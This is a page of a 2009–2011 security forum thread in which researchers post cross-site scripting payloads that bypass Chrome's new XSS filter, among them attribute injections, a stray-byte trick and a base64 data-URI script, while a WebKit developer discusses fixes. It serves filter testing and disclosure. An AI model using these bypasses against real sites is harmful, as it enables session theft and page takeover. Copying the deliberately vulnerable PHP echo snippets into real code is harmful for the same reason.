Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
If you have some interesting news or want to throw up a link to discuss it, here's the place. Anything is okay, even shameless vendor launches (since that is often applicable to what we work on). 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
Pages: Previous12
Current Page: 2 of 2
Re: Chrome gets XSS filters
Posted by: Anonymous User
Date: September 16, 2009 09:54AM

Yep - attribute XSS, injections between script tags and fragmented XSS are still almost all working.

Testcase 1:
<body>
    <a href="foo<?php echo stripslashes($_GET['a']) ?>">TEST</a>
    <input value="foo<?php echo stripslashes($_GET['a']) ?>" type="text" />
</body>

test.php?a="%20onclick=alert(1)//
test.php?a="type=image%0Csrc=x%09onerror=alert(1)//

Testcase 2:
<body>
    <a href="foo<?php echo stripslashes($_GET['a']) ?>">foo</a>
    <div>bar</div>
    <a href="foobar<?php echo stripslashes($_GET['b']) ?>">foobar</a>
</body>

test.php?a="><img%20src="x"%20onerror='alert(1)/*&b=foo*/'/><a

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: abarth
Date: September 16, 2009 10:32AM

A few points:

1) You're correct that we're not trying to catch injections directly into script tags yet. We did a study of XSS vulnerabilities in the wild and found these were much less common than inter-tag and attribute injections. We may tackle these once we've got the current cases nailed down.

2) sirdarckcat's case and mario's first case are the same issue as the one at the beginning of the thread: https://bugs.webkit.org/show_bug.cgi?id=27895. Basically what's happening is we're trying to match the whole script with the request. In all these cases, the exploit is pulling in at least one existing character of the page into the script. I appreciate the test cases through. They'll help us make sure we get all the corner cases when we fix that bug.

3) Mario is correct that we're not handling double injections. I don't have solid data about how common these are like I do for (1). If you know a way to measure how commonly these vulnerabilities occur, please let me know.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: sirdarckcat
Date: September 16, 2009 11:30AM

fragmented attacks are a performance killer.. anyway, you could work out a good algorithm.

Anyway, regarding fragmented attacks, maybe I'll work on it for ACS's filter, at least to get an algorithm to attack performance issues.

abarth, do you know how ie8's work? the rule/signature/etc? You should check the documentation, they protect against this type of attacks (where the payload is just part of the code executed).

Greetings!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: Anonymous User
Date: September 16, 2009 12:20PM

Yep - a performance killer they are - too bad it's exponential :)

Afaik that's why the IE8 team refused to implement detection of fragmented attacks.

It might be possible though to detect the fragments in the DOM - do a little analysis on them and block all scripts on the page when a certain ratio has been reached. Difficult but probably possible.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: abarth
Date: September 16, 2009 12:35PM

> abarth, do you know how ie8's work? the rule/signature/etc?

Yeah, extracted the whole algorithm from the binary using some fancy binary analysis techniques similar to those described in http://www.adambarth.com/papers/2009/barth-caballero-song.pdf

The IE8 filter is based on a dozen or so regular expressions that are applied to the HTTP response before parsing. Our filter works a bit differently. It watches the scripts that are being executed after parsing. That means we're pretty robust to tricky parsing issues (like the / thing mentioned above). The trade-off is that we have to be more careful when matching the script with the request because it's been transformed by the parser a bit. That's why you get issues like the double-encoded iframe JavaScript URL issue above. It's being run through the parser twice, which tripped us up.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: thornmaker
Date: September 16, 2009 03:13PM

This may be the related to .mario's unicode bypass, maybe not. Either way, it only uses one upper-ascii char, nothing else (anything between %80 and %ff works, I think).

http://eaea.sirdarckcat.net/xss.php?html_xss=%3Cimg+src=%220%22+onerror=%22/%80/;alert(document.domain)%22%3E

slight variation:

http://eaea.sirdarckcat.net/xss.php?html_xss=<img+src='%80'+onerror=%27alert(document.domain)%27



Edited 1 time(s). Last edit at 09/16/2009 03:18PM by thornmaker.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: abarth
Date: September 16, 2009 04:28PM

Thanks thornmaker. We've got a patch approved for mario's issue:

https://bugs.webkit.org/show_bug.cgi?id=29306

I haven't checked whether that patch fixes those bypasses too. If you look at the patch, it's a really silly mistake. Hopefully we'll get that landed today and we can verify the fix with WebKit's nightly build. (The patch will flow into Chrome in the next weekly release.)

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: sirdarckcat
Date: September 16, 2009 09:54PM

@abarth, I know how ie8's work, my mean was that they do a middle-tier signature to check for transformations and half-setted attacks.

For example, ?x=<script type="text/javascript" src="asdf">

will generate a signature like

<sc{r}ipt\s*type=[\s"']?text....

to match in the response text, so even if there are modifications, you can still fetch it.

IMHO, thats why its so difficult for us to find bypasses in it, since even if we obfuscate a lot, and do server-side modifications, the filter will match when it catches part of the payload.

Anyway, good luck with the filter :)

Greetz!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: abarth
Date: September 17, 2009 01:22AM

Yeah, we've being thinking about whether we want the matching algorithm to be fuzzier than it is currently. It's clear we need to tolerate trailing characters that don't match to avoid some of the examples earlier in the thread.

That raises the question of how many character to try to match. Currently, we're thinking that 7 characters might be a good number. That would mean we'd have a problem if you could write an exploit in 6 characters or less... That seems pretty tough, but I don't have a good way of ruling out the possibility.

We're open to suggestions for improvements, by the way. If you have some ideas for how to make the filter more robust, I'd love to hear them. For the time being, I'd like to focus on the simple injection cases first before getting distracted by handling the more complicated cases.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: rvdh
Date: September 17, 2009 01:38AM

abarth Wrote:
-------------------------------------------------------
> A few points:
>
> 1) You're correct that we're not trying to catch
> injections directly into script tags yet. We did
> a study of XSS vulnerabilities in the wild and
> found these were much less common than inter-tag
> and attribute injections. We may tackle these
> once we've got the current cases nailed down.

May I ask where you got that data from? The fact that most published XSS does not cover fragmented XSS, doesn't mean it isn't there.In my own research it shows that both un-fragmented and fragmented vectors pass because of more than 1 location where the results are being echoed back. Personally I can't vouch for exact numbers on how common it is, since that data isn't available to my knowledge. It might be less common indeed, but that may also be because of the fact not everyone looks for this type of injection, and probably will become more less uncommon because of AJAX scaling that takes place since 2006. I must admit that it will be quite difficult to catch all of these, but on the other side it may very well be that exactly this will break the XSS filter. I guess it depends how you want the filter to score. BTW there is also a thing called CSS injection, Gareth, .mario and SDC et al covered that to great lengths as well. I'm not sure how you handle encoding, but that's also a big thing to watch out for. It's possible to encode JS and wrap it in a btoa() [is this supported in webkit yet?] function alone, and echo it all back through fragmented JavaScript.

I'm a bit conservative when it comes down to sanitizing or inspecting a given URI. To me, certain characters simply do not belong in the URI. I think it's safe to say that in both fragmented and un-fragmented vectors, the need for a single quote (') and double quote (") with a bigger than operator (>) respectively (">) becomes mandatory to break out of JavaScript or a HTML tag. It would be my first bet on trying to analyze an URI for any malicious vectors, and then go on to inspect further to determine a legitimate request from an illegitimate one.



Edited 2 time(s). Last edit at 09/17/2009 01:48AM by rvdh.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: abarth
Date: September 17, 2009 02:13AM

> May I ask where you got that data from?

Sure. We analyzed a few hundred randomly selected vulnerabilities from XSSed.com. It's certainly not a perfect data source. If you have a better data source that you think we should look at, we'd be happy to do that. I'm certainly not trying to paint a "rosy scenario" here. I'd just like to prioritize our efforts based on the best available data.

> The fact that most published XSS does not cover fragmented XSS, doesn't mean it isn't there.

Oh, I'm sure you're right.

> it may very well be that exactly this will break the XSS filter.

It's important to realize that the filter aims to cover 100% of the script injection attacks against *some* vulnerabilities. This is much more useful than covering 90% of the attacks against most vulnerabilities because covering 100% of the attacks means the attacker can't find a way around the filter. The attacker has to find another vulnerability. (Of course, if there are lots of uncovered vulnerabilities, this might not be particularly hard.)

> I guess it depends how you want the filter to score.

I'm not sure what you mean by score. Keep in mind that our plan is to improve the filter over time. Right now, I'd be happy to cover 100% of the attacks against this page:

<html>
<body>
<?php
echo $_GET['q'];
?>
</body>
</html>

Once we can do that, we can move on to more complex vulnerabilities.

> BTW there is also a thing called CSS injection, Gareth, .mario and SDC et al covered that to great lengths as well.

Yes, there are certainly a lot of interesting things you can do by injecting CSS.

> I'm not sure how you handle encoding, but that's also a big thing to watch out for. It's possible to encode JS and wrap it in a btoa() [is this supported in webkit yet?] function alone, and echo it all back through fragmented JavaScript.

Encoding is actually the trickiest part for us to get right. There are a some issues there we're still working through. If you search https://bugs.webkit.org/ for XSSAuditor, you can read all about them. :)

> To me, certain characters simply do not belong in the URI.

Yeah, that's another approach to building a filter. It would be interesting to see if that leads to more or fewer false positives.

The approach we've taken is to analyze the response, regardless of whether they have tricky characters in the URL. That requires some amount of effort to do fast enough not to delay the page loading, but the benefit is that we can re-use all the work the HTML parser is doing.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: sirdarckcat
Date: September 17, 2009 03:41AM

btw, you should support java's overlong UTF and PHP-style malformed UTF :)

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: sirdarckcat
Date: September 17, 2009 04:29AM

Hi Adam

I've been reviewing the bugtrack, and I think this one hasnt been reported:

<script>alert(1);/*<!--

note, that I'm not inside an argument.. so the bug you pointed is not the case.

also, fwiw, noscript and IE8 have a "same-origin exception" to avoid false positives (and allow sites to XSS themselves.. like WYSIWYG editors that support javascript, maybe on file editors.. that would be broken on XSS auditor approach without this), in the "manual test case" you can see that several test cases are marked as false negative on IE8 and NoScript.. but mostly all of them (except the UTF7 ones) I think are due to this exception.

Greetings!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: rvdh
Date: September 17, 2009 04:45AM

sirdarckcat Wrote:
-------------------------------------------------------
> also, fwiw, noscript and IE8 have a "same-origin
> exception" to avoid false positives (and allow
> sites to XSS themselves.. like WYSIWYG editors
> that support javascript, maybe on file editors..
> that would be broken on XSS auditor approach
> without this), in the "manual test case" you can
> see that several test cases are marked as false
> negative on IE8 and NoScript.. but mostly all of
> them (except the UTF7 ones) I think are due to
> this exception.

Yeah did something similar for Opera, checks the origin before the script gets loaded:

window.opera.addEventListener('BeforeExternalScript', function(e) {
	if (!e.element.getAttribute('src').match(document.location)) {
		e.preventDefault();
	}
}, false);


Works like a charm.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: sirdarckcat
Date: September 17, 2009 05:08AM

that's different ronald. ie8 checks if the XSS attack comes from the same page, your script checks if the script is loading a same-site attribute.

And unless you do other checks, I think I can evade that..

<script src="http://google.sirdarckcat.net/ronald.js/http://ronald.com/victim.jsp">
Greetz!!

--------------------------------
http://sirdarckcat.blogspot.com/ http://www.sirdarckcat.net/ http://foro.elhacker.net/ http://twitter.com/sirdarckcat



Edited 2 time(s). Last edit at 09/17/2009 05:08AM by sirdarckcat.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: rvdh
Date: September 17, 2009 08:42AM

Yeah I knew about that one, I left it out and just match on the first thing it finds. Not a very big deal since no one will try to explicitly attack my script. It was actually meant to stop JS that serve ads and stuff, because it fails on more points that this, it also doesn't do a global check, because if it's defined more than once, the other might get passed. I might beef it up some day, and implement more protection, because I know a couple of other ways to bypass it. But as long I'm one of the few that uses it, it isn't a great concern of mine.



Edited 1 time(s). Last edit at 09/17/2009 08:47AM by rvdh.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: abarth
Date: September 17, 2009 03:42PM

> <script>alert(1);/*<!--

You're right that the bug description for https://bugs.webkit.org/show_bug.cgi?id=27895 doesn't talk about this case, but the fix is going to be the same. I've added that as a test case for that bug to make sure we cover it.

I'm going to meet with Dan Bates next week and we're going to hammer out a fix those this class of bypass. I think we're going to go with checking the first 7 character (possibly also looking for strange characters like < > " ' in the URL, as suggested above).

> also, fwiw, noscript and IE8 have a "same-origin exception" to avoid false positives

Yeah, we're trying to avoid the same-origin exception because it's actually pretty dangerous. Consider a forum (like this one) that lets you post hyperlinks. You can exploit an XSS in the same site...

> (and allow sites to XSS themselves.. like WYSIWYG editors that support javascript,
> maybe on file editors.. that would be broken on XSS auditor approach without this)

Do you have actual examples of sites that break this way? We've tested a few WYSIWYG editors, but we found that most munge the script enough so that the filter doesn't fire.

> in the "manual test case" you can see that several test cases are marked as false
> negative on IE8 and NoScript.. but mostly all of them (except the UTF7 ones) I
> think are due to this exception.

Thanks for pointing this out. We'll need to go through those cases again carefully.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: abarth
Date: September 17, 2009 03:44PM

> Yeah did something similar for Opera, checks the origin before the script gets loaded:

I believe this will break Facebook chat. We needed to refine our algorithm a bit to avoid breaking Facebook chat in this way.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: thrill
Date: September 17, 2009 04:04PM

Quote

I believe this will break Facebook chat.

Travesty! How will the human race survive???

--thrill

---

It is not the degrees you hold, but the mind you possess. - thrill

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: rvdh
Date: September 18, 2009 03:41PM

abarth wrote:

>I'm going to meet with Dan Bates next week and we're going to hammer out a fix those this class of >bypass. I think we're going to go with checking the first 7 character (possibly also looking for >strange characters like < > " ' in the URL, as suggested above).


Sounds cool. If only (yeah only) browser vendors read up on the RFC 2396 from the beginning(hey Microsoft!) all of this (ref. XSS) never would have been such a big issue.

http://www.faqs.org/rfcs/rfc2396.html

reserved delimiters:

      reserved    = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" |
                    "$" | ","

unreserved:

 = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

Mostly terminal commands too in old systems/browsers e.g. BBS era, and nowadays Wikipedia with the use of "(" | ")" | "_" as example.


2.4.3. Excluded US-ASCII Characters


   The angle-bracket "<" and ">" and double-quote (") characters are
   excluded because they are often used as the delimiters around URI in
   text documents and protocol fields.  The character "#" is excluded
   because it is used to delimit a URI from a fragment identifier in URI
   references (Section 4). The percent character "%" is excluded because
   it is used for the encoding of escaped characters.

   delims      = "<" | ">" | "#" | "%" | <">


   Other characters are excluded because gateways and other transport
   agents are known to sometimes modify such characters, or they are
   used as delimiters.

   unwise      = "{" | "}" | "|" | "\" | "^" | "[" | "]" | "`"

< & > should never be present in an URI whatsoever imho.
The ' single quote might be, but I think it's unwise too.
But excluding the single quote alone could break legitimate (crappy though) requests.

or as rfc1808 http://www.faqs.org/rfcs/rfc1808.html defines it as punctuation:

 punctuation = "<" | ">" | "#" | "%" | <">

abarth wrote:

> Yeah did something similar for Opera, checks the origin before the script gets loaded:

>>I believe this will break Facebook chat. We needed to refine our algorithm a bit to avoid breaking >>Facebook chat in this way.

Yes it probably will. The example was posted as a snippet from my personal noscript version for Opera. Hardly no one uses it, which is understandable. It was more of an exercise than a real approach towards a Opera filter, probably rewrite it someday.

EDIT: changed formatting.



Edited 6 time(s). Last edit at 09/18/2009 04:17PM by rvdh.

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: Anonymous User
Date: August 06, 2010 09:49AM

Thread resurrection;

"><script src=
data:;base64,YWxlcnQoMSkNCg== />

https://bugs.webkit.org/show_bug.cgi?id=29278#c6

Options: ReplyQuote
Re: Chrome gets XSS filters
Posted by: superevr
Date: June 23, 2011 06:18PM

I'm not that great at reading code. Can somebody help explain how the Webkit XSS Auditor works, and why these bypasses are get through?

Source: http://trac.webkit.org/browser/trunk/Source/WebCore/html/parser/XSSAuditor.cpp

Options: ReplyQuote
Pages: Previous12
Current Page: 2 of 2


Sorry, only registered users may post in this forum.